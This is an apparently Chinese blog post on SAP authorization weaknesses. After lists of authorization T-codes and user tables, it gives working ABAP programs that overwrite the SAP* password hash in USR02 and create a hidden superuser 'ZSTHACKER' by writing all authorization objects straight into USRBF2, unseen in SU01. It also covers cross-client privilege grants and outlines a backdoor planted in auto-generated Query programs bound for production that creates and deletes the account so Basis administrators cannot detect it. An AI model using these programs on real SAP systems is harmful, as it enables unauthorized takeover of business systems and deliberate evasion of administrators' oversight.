`

SAP权限控制漏洞

阅读更多

SAP权限控制漏洞

尽管SAP系统提供了非常完善的权限控制机制,甚至允许细到字段级和允许用户自定义授权对象,然后SAP权限控制漏洞也是致命的,随便一个小程序就可轻易获取权限

作为职业程序员,对取得权限大多会有一定兴趣(这点催生了一批无聊的所谓Hacker).

读者可自行理解下面几个概,在此不再细述.

[1].Activity(group)

[2].Authorization Object

[3].Profile

[4].Role

实际上决定权限的是Authorization Object , USR_USER_AUTH_FOR_OBJ_GET

AUTHORIZATION_DATA_READ_SELOBJ函数就知道了.

常用权限相关Tcode .

()Role(角色)相关T-code:

PFAC         标准

PFAC_CHG 改变

PFAC_DEL 删除

PFAC_DIS 显示

PFAC_INS 新建

PFAC_STR

PFCG  创建

ROLE_CMP 比较

SUPC  批量建立角色profile

SWUJ  测试

SU03   检测授权

SU25, SU26      检查Profile

()建立用户

SU0 

SU01 

SU01D 

SU01_NAV

SU05

SU1 

SU10  批量

SU12  批量

SUCOMP:维护用户公司地址

SU2  change用户参数

SUIM  用户信息系统,by 多个查询.

()建立用户组

SUGR:维护

SUGRD:显示

SUGRD_NAV:还是维护

SUGR_NAV:还是显示

()维护检查授权

SU20|SU21:如有特殊需要定义自己的authorization fields

SU50|SU51|SU52

SU53:当有权限问题可使用它检测

SU56:分析authoraztion data buffers.
SU87:
用来检查用户改变产生的history
SU96,SU97,SU98,SU99:

常用权限相关表格:

TOBJ : All avaiable authorzation objects.(SAP default objects全在此)

USR12: 用户级authoraztion

USR02:密码table

USR04:Authorization

USR03:User address data

USR05:User Master Parameter ID

USR06:Additional Data per User

USR07:Object/values of last authorization check that failed

USR08:Table for user menu entries

USR09:Entries for user menus (work areas)

USR10:User master authorization profiles

USR11:User Master Texts for Profiles (USR10)

USR12:User master authorization values

USR13:Short Texts for Authorizations

USR14:Surchargeable Language Versions per User

USR15:External User Name

USR16:Values for Variables for User Authorizations

USR20:Date of last user master reorganization

USR21:Assign user name address key

USR22:Logon data without kernel access

USR30:Additional Information for User Menu

USR40:Table for illegal passwords

USR41:当前用户(SM04看到的所有当前活动用户)

USRBF2:记录当前用户所有的授权objects

UST04:User Profile master

UST10C: Composite profiles

UST10S: Single profiles

UST12 : Authorizations

如何获取权限呢?下面举几个实际例子

修改某权限大的用户密码.下面是直接修改SAP*的密码为123.就一句话足矣.

report ZMODPWD.

tables :usr02 .

*Data ZUSR02 like USR02 .

*select  single * into zUSR02 from USR02

*where BNAME = 'SAP*'.

*ZUSR02-BNAME = 'SAP*'.

*ZUSR02-Bcode = '9C8AB8600E74D864' .

*ZUSR02-UFLAG = '0' ."unlock SAP*

*Update USR02 from ZUSR02  .

update usr02 set bcode = 'DF52478E6FF90EEB'

where BNAME = 'SAP*'.

就是说通过上面的程序轻易将sap*的密码给修改了.加密算法在此彻底失效

上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢?下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.

下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限.

Program ZCRTUSER.

Data ZUSR02 like USR02 .

***1Create User ZSTHACKER according to DDIC

select single * into ZUSR02 from USR02

where BNAME = 'DDIC'.

ZUSR02-BNAME = 'ZSTHACKER'.

ZUSR02-Bcode = 'E3B796BB09F7901B' .

insert USR02 from ZUSR02  .

***2Copy Auth. Obj from SAP*(or other)

data ZUSRBF2 like USRBF2 occurs 0 with header line.

select *  from  USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

Loop at ZUSRBF2.

  ZUSRBF2-BNAME = 'ZSTHACKER' . 

  Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可.

Data Ztobj like tobj occurs 0 with header line .

data zusrbf2 like usrbf2.

select * into table ztobj from tobj .

loop at ztobj.

  zusrbf2-mandt = sy-mandt.

  zusrbf2-bname = 'ZSTHACKER'.

  zusrbf2-objct = ztobj-objct.

  zusrbf2-auth  ='&_SAP_ALL'.

  modify USRBF2 FROM  zusrbf2 .

endloop .

现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下:

[1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(report painter)等自动产生的程序(需要绕过Access Key).

[2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02USRBF2),如果另一条件满足删除相关数据(usr02usrbf2中将数据删除)这样basis就难于发现.

***注意千万不要用此临时用户做一些不合理的动作.

[3]能不能垮client端建立用户和授权呢?

    回答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client300,下面的例子将300SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户).

Data zusrbf2 like usrbf2.

Select * into zusrbf2 from usrbf2  where bname = 'SAP*' .

Zusrbf2-bname = 'ZSTHACKER' .

Zusrbf2-mandt = '100'.

Insert into usrbf2 client specified values zusrbf2.

Endselect .

分享到:
评论

相关推荐

    SAP权限自定义程序检查控制

    ### SAP权限自定义程序检查控制 #### 创建新的权限对象并在程序中使用 在SAP系统中,为了确保数据的安全性和访问的合规性,通常需要创建自定义的权限对象来实现更精细的权限管理。创建一个新的权限对象并将其应用...

    SAP屠夫作品汇总

    你整一个Allocation structure, SAPhelp. Create Allocation Structure 551 5工单 552 Material Ledger 物料分类账详解 552 一.ML功能简介 552 二.标准价Pk加权平均价 559 三.差异来源和差异处理 564 四.SAP差异科目...

    SAP开发权限破解.pdf

    请注意,这些步骤展示了如何在SAP环境中更改权限控制,但这是一种非常不推荐的行为,因为它可能导致系统安全漏洞。在生产环境中,未经授权的权限修改可能会违反合规性规定,导致数据泄露或破坏。正确的做法是遵循SAP...

    sap R3权限设定说明

    在SAP R3系统中,权限设定是安全管理的关键环节,用于控制用户访问系统资源的权限。权限设定涉及用户、角色、事务代码和授权对象四个核心概念。 1. 用户与角色:用户是由一个或多个角色组成的,每个角色代表特定的...

    SAP GUI 800 PATCH 2

    3. **强化的身份验证和访问控制**:可能存在的身份验证绕过漏洞被修复,增强了用户登录和权限管理的安全性,防止非法用户访问系统资源。 4. **防止恶意软件入侵**:补丁可能包含了对特定恶意软件或病毒的防御机制,...

    SAPNCO 4.0

    - **安全考虑**:使用SAPNCO时,应确保遵循最佳安全实践,如使用加密的网络连接,限制访问权限,以及定期更新SAPNCO到最新版本以修复可能的安全漏洞。 - **多平台支持**:由于SAPNCO 4.0支持X64和X80架构,这意味着...

    SAP GUI for Windows 7.30 Security Guide

    SAP GUI for Windows 7.30引入了安全模块,该模块旨在增强应用程序的安全性,并为用户提供更全面的安全控制。此模块允许管理员定义一系列规则来限制或允许特定操作。 ##### SAP GUI Security Settings 在设置SAP ...

    SAPscript Legacy Text Editor patch

    对于这样的问题,SAP通常会发布补丁来修复已知的系统漏洞或提高程序的稳定性。"SAPSLTESP00_0-70001053.EXE"很可能是这样一个补丁文件,它可能包含了修复"CSapEditorCtrl::GetObject"错误的更新。在安装这个补丁前,...

    SAP Audit Approach

    在SAP系统中,授权是控制用户访问权限的核心机制。以下是授权管理的一个示例: 1. **用户主记录**:每个用户都需要有一个主记录,例如用户Frank W. Lyons。 - **配置文件**:用户被分配一个或多个配置文件来定义其...

    sap t code rz11

    在SAP环境中,事务代码是用户执行特定任务或功能的入口点,RZ11主要用于设置和控制与SAP GUI Scripting相关的安全参数。 在SAP GUI Scripting的上下文中,RZ11的重要性体现在它能够保护关键的SAP系统免受未经授权的...

    SAP GUI 740_750_760_770SLTESP00_0-70001053.zip

    然而,对于一些系统配置复杂或安全要求较高的环境,安装过程可能需要相应的系统管理知识和相应的操作权限。 此外,在安装补丁之前,用户还应该仔细阅读“readme.txt”文件。这通常是附带在软件补丁或压缩包中的文本...

    64位 sap连接2.1.10 dll

    使用RFC进行通信时,应考虑安全性,例如使用SSL/TLS加密连接,限制RFC功能的访问权限,以及定期更新连接库以防止潜在的安全漏洞。 总结,"64位 sap连接2.1.10 dll"涉及到的是SAP系统与64位应用程序之间的集成,...

    SAP BOE jar

    2. **CMS服务器**:作为核心组件,CMS负责管理所有对象、用户权限、版本控制以及系统配置。它存储了元数据,是整个BOE环境的心脏。 3. **Repository**:这是一个数据库,存储着所有的报表、数据源、用户信息和其他...

    sap sql note

    sa用户拥有对数据库系统的几乎无限访问权限,这包括所有数据库。如果sa账户没有密码保护,任何Windows NT用户都可以登录数据库成为超级用户,这将导致严重的安全漏洞。 5. 密码设置步骤 为了解决这个问题,文档详细...

    sap 系统 审计 程序

    17. 评价SAP整体安全架构:包括用户权限、访问控制、加密机制等,以确保数据的机密性和完整性。 18. 确定运行的操作系统和数据库管理系统:这直接影响系统的性能和安全性。 19-28. 获取各种关键业务对象的列表:如...

    SAP SPAM详解

    - 使用具有足够权限的系统级用户(如DDIC或SAP*)登录Client 000。 - 打开事务代码SPAM,选择从应用服务器装载补丁文件(`From Application Server`)。 5. **定义和支持包队列**: - 选择需要安装补丁的应用...

    Powershell SAP assessment tool.zip

    - 安全审计:利用PowerShell,可以检查SAP系统的用户权限、角色分配和访问控制设置,以确保符合企业安全政策。 - 配置审查:自动化脚本可以检查SAP系统配置,对比最佳实践,发现可能影响系统运行的不合规项。 - 报告...

    SAP Basis基础操作技能

    **PFCG**是SAP系统中用于管理用户角色和权限的核心工具。正确配置PFCG不仅能够提高安全性,还能提升工作效率。 1. **创建新角色**: - 进入PFCG事务代码。 - 选择“创建”选项。 - 定义角色名称和描述。 - 通过...

    SAP安全快速手册.docx

    - **用户管理工具**:如ABAP应用服务器的用户管理(事务代码:SU01)、SAP NetWeaver身份管理等,用于高效管理用户及其权限。 **2. 网络通信安全** - 保护在网络上传输的数据,特别是当数据通过互联网发送时,应...

Global site tag (gtag.js) - Google Analytics